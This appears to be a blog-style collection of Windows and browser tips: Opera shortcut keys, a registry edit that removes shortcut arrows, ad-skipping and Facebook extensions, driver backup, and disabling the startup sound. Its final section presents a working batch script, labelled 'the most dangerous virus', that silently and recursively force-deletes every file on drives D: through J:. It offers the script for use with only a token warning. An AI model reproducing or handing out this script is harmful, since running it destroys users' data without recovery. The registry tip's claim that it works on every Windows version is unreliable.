Some useful shortcut keys for Opera browser

CTRL+O: Open a file using Opera.
CTRL+S: Save a copy of the current page.
CTRL+SHIFT+P: Toggle Print Preview.
CTRL+P: Print the current page.
CTRL+Q: Shut down Opera.
CTRL+T: Open a new tab.
CTRL+W: Close the current tab.
CTRL+TAB: Move between active tabs.
SHIFT+SPACE BAR: Scroll one screen up.
PAGE UP: Scroll one screen up.
SPACE BAR: Scroll one screen down.
PAGE DOWN: Scroll one screen down.
CTRL+PAGE UP: Scroll one screen to the left.
CTRL+PAGE DOWN: Scroll one screen to the right.
HOME: Scroll to the top of the current document.
END: Scroll to the bottom of the current document.
CTRL+LEFT ARROW: Move to the previous page in your browsing history.
ALT+LEFT ARROW: Move to the previous page in your browsing history.
CTRL+RIGHT ARROW: Move to the next page in your browsing history.
ALT+RIGHT ARROW: Move to the next page in your browsing history.
F5: Reload the current page.
CTRL+R: Reload the current page.
CTRL+F: Find specified text in the current page.
CTRL+G: Find next instance of specified text in the current page.
CTRL+SHIFT+G: Find previous instance of specified text in the current page.
COMMA: Find specified text within links on the current page.
CTRL+PLUS: Zoom in on the current page by 10%.
PLUS: Zoom in on the current page by 10%.
CTRL+MINUS: Zoom out on the current page by 10%.
MINUS: Zoom out on the current page by 10%.
CTRL+0 (Zero): Restore zoom display on the current page to 100%.
F11: Use the entire screen for viewing the current page.
SHIFT+UP ARROW: Proceed to the next link up on the page.
SHIFT+DOWN ARROW: Proceed to the next link down on the page.
SHIFT+LEFT ARROW: Proceed to the next link to the left on the page.
SHIFT+RIGHT ARROW: Proceed to the next link to the right on the page.
ENTER: Activate the link that is currently selected.
SHIFT+ENTER: Activate the link that is currently selected in a new tab.

How to remove the shortcut arrows placed in shortcut icon in Windows desktop

Generally we create shortcut for a folder or file or for a program for quick access to those. But whenever we create that shortcut we find a arrow ike structure just below the beautiful icon. Which don't looks beautiful. So we should remove that arrow symbol from the Icon. Here is the process to do so. Here we will do the same by editing the registry.

1. Open registry editor by type regedit in run 
2. Now navigate to "HKEY_CLASSES_ROOT\lnkfile" folder.
3. Select the "IsShortcut" registry key in the right side pane and delete it. 

4. Now again navigate to "HKEY_CLASSES_ROOT\piffile" folder.
5. Select the "IsShortcut" registry key in the right side pane and delete it.

6. Now close the registry editor.
7. Now restart or reboot your computer.
After restart you will not find the arrow on the shortcut icon placed on desktop.
This process works on all the operating system of windows.

How to bypass YouTube Ads on YouTube

Free version

We can block YouTube ads using Chrome extension.

You have to install the extension named Skip ads on YouTube.

It will stick one new blue button on YouTube player to skip current running ads from YouTube video.

It now completely depends on your hand when you will press blue button to skip current running ads.

A small blue icon appears at the top of it, Clicking on it will skip the current ad immediately.

But the drawback is you must click on blue button to stop YouTube videos ads (YouTube only) an otherwise ad runs continuously till end.

Paid version  

Automated version is also available for this Chrome extension for about USD 4 $.

It will automatically skip it without any delay and paid version also gives you access to all the future updates, which will not be published on the Chrome Web Store.

How to Hide Facebook Suggested Posts from Your Feed

You have to add the extension called Hide Facebook Suggested Posts.

Install it and forget you ever had the post from the facebook suggestion.

The suggested posts in your Facebook feed will no longer appear.

The extension works in the background without adding any observable delay in Facebook’s loading time.

How to Backup And Restore Windows Drivers

Download the Double driver  tools in Zip format and then UnZip.

Double click on dd.

After Double click on dd new window will pop up. then Click on Backup.

Click on Scan Current System.

Now all driver scan, you can select driver which you want to take backup, then Click on Backup Now to take the Backup of Drivers.

Now select Different drive to take the Backup or you can take Backup on External storage device and select in which format you want to take backup. then Click Ok.

 Now Backup process going on.

How to Disable the Startup Sound in Windows 7

Open Start Menu and go to Control Panel.

Select Hardware and Sound.

Under Sound Options, click on Change System Sounds.

From the Sounds Settings window, uncheck Play Window Startup sound and click OK.

That’s it.

How to create the most dangerous virus in your computer

Just open your notepad

Click start and type notepad hit enter .

Now type The Following Code
@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as anything.bat and the batch file is created .

WARNING :: This is the most dangerous virus! Be careful with its use.